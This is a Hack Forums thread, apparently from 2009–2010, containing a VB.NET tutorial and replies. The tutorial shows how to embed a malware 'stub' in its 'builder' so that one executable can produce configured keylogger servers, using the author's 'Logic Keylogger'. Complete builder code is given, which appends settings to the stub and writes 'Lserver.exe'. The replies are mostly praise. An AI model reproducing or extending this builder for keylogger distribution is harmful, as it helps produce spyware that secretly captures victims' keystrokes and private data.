Hack Forums
[.NET] Builder With Built In Stub [VB.NET] [TuT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Builder With Built In Stub [VB.NET] [TuT] (/showthread.php?tid=174098)

Pages: Pages 1 2


Builder With Built In Stub [VB.NET] [TuT] - Vorfin - Oct 30, 2009

OK, write your program as normal, so you have a builder and a stub. Now when distributing, the stub causes no end of confusion. So what we really need is to have it all as one .exe.

So lets take one of my older projects, my very basic, Logic Keylogger.

Now currently the code in the builder looks like:

Code
Imports System.IO
Public Class Form1

    Dim stub, text1, text2 As String
    Const FileSplit = "@vorfin@"

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)



        If File.Exists("Lserver.exe") Then
            My.Computer.FileSystem.DeleteFile("Lserver.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
        FileClose(1)
    End Sub

End Class

Now as you can see it is calling the stub from the current directory.
Code
Application.StartupPath & "\Stub.exe"

But we don't want the stub, so what we are going to do is drop it from the resources into said directory, then use it, then remove it after.

So go to the project directory. (The one with the "bin", "obj" and "My Project" Folders in) And create a new folder called "My Resources"

Next, open up your stub project, and build it. Then put the stub.exe into the My resources folder of the builder.

Now, on the builder(In the complier) Double click "My Project" And then go to "resources" Navigate to the My Resources folder, and add the stub.exe as a resource.

Now we have done that, we have to drop it at the right time. Just before you use the stub, add this.

Code
Dim b As Byte() = My.Resources.stub
        Dim TheFIlePath As String = Application.StartupPath & "\Stub.exe"
        Dim TempFile As System.IO.FileStream = IO.File.Create(TheFIlePath)
        TempFile.Write(b, 0, b.Length)
        TempFile.Close()

And when you have finished, you must delete the stub from the directory. So use this.

Code
System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))

So now, the code for the builder with the stub added as a resource would be.

Code
Imports System.IO
Public Class Form1

    Dim stub, text1, text2 As String
    Const FileSplit = "@vorfin@"

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text

Dim b As Byte() = My.Resources.stub
        Dim TheFIlePath As String = Application.StartupPath & "\Stub.exe"
        Dim TempFile As System.IO.FileStream = IO.File.Create(TheFIlePath)
        TempFile.Write(b, 0, b.Length)
        TempFile.Close()

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)


        If File.Exists("Lserver.exe") Then
            My.Computer.FileSystem.DeleteFile("Lserver.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)

System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))

        FileClose(1)
    End Sub

End Class



* - numan007 - Oct 30, 2009

MAN you are amazing really nice tutorials and really informative


* - Outline - Oct 30, 2009

Just what I was looking for. : )


* - TheInvader - Oct 30, 2009

Excellent tutorial very well understandable.


* - Joey K - Apr 7, 2010

I know this is a old thread, but it deserves a decent bump.


* - Kōtei - Apr 7, 2010

(Apr 7, 2010 08:53 AM)Drake™ Wrote:  I know this is a old thread, but it deserves a decent bump.

Agreed. This is actually really helpful.


* - xFic - Apr 7, 2010

This is a great tut, very helpful :)


* - Euras - Apr 7, 2010

Finally! I've been wanting to know how to do this for ages!!! +repped

Thanks a lot!


* - Bosanac - Apr 7, 2010

Thanks Great Tutorial :D


* - Dark Molecule - Apr 7, 2010

i like this tutorial ive had it bookmarked for awhile but just never got around to commenting on it O_o

anywayy nice tut as always vorfin :D


* - ThatGuyThis - Apr 7, 2010

Thx!

2 short for HF again!


* - Troxin - Apr 7, 2010

Very nice tutorial, I will try it in awhile.

/excited


* - Cunt - Apr 7, 2010

Pretty nice, keeps everything tidier :)


* - Diebspiel - Apr 7, 2010

very nice, but:

stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)

is very old VB6 code.


* - minipunch - Apr 7, 2010

This would be really nice, but I don't know what to put in the stub... :(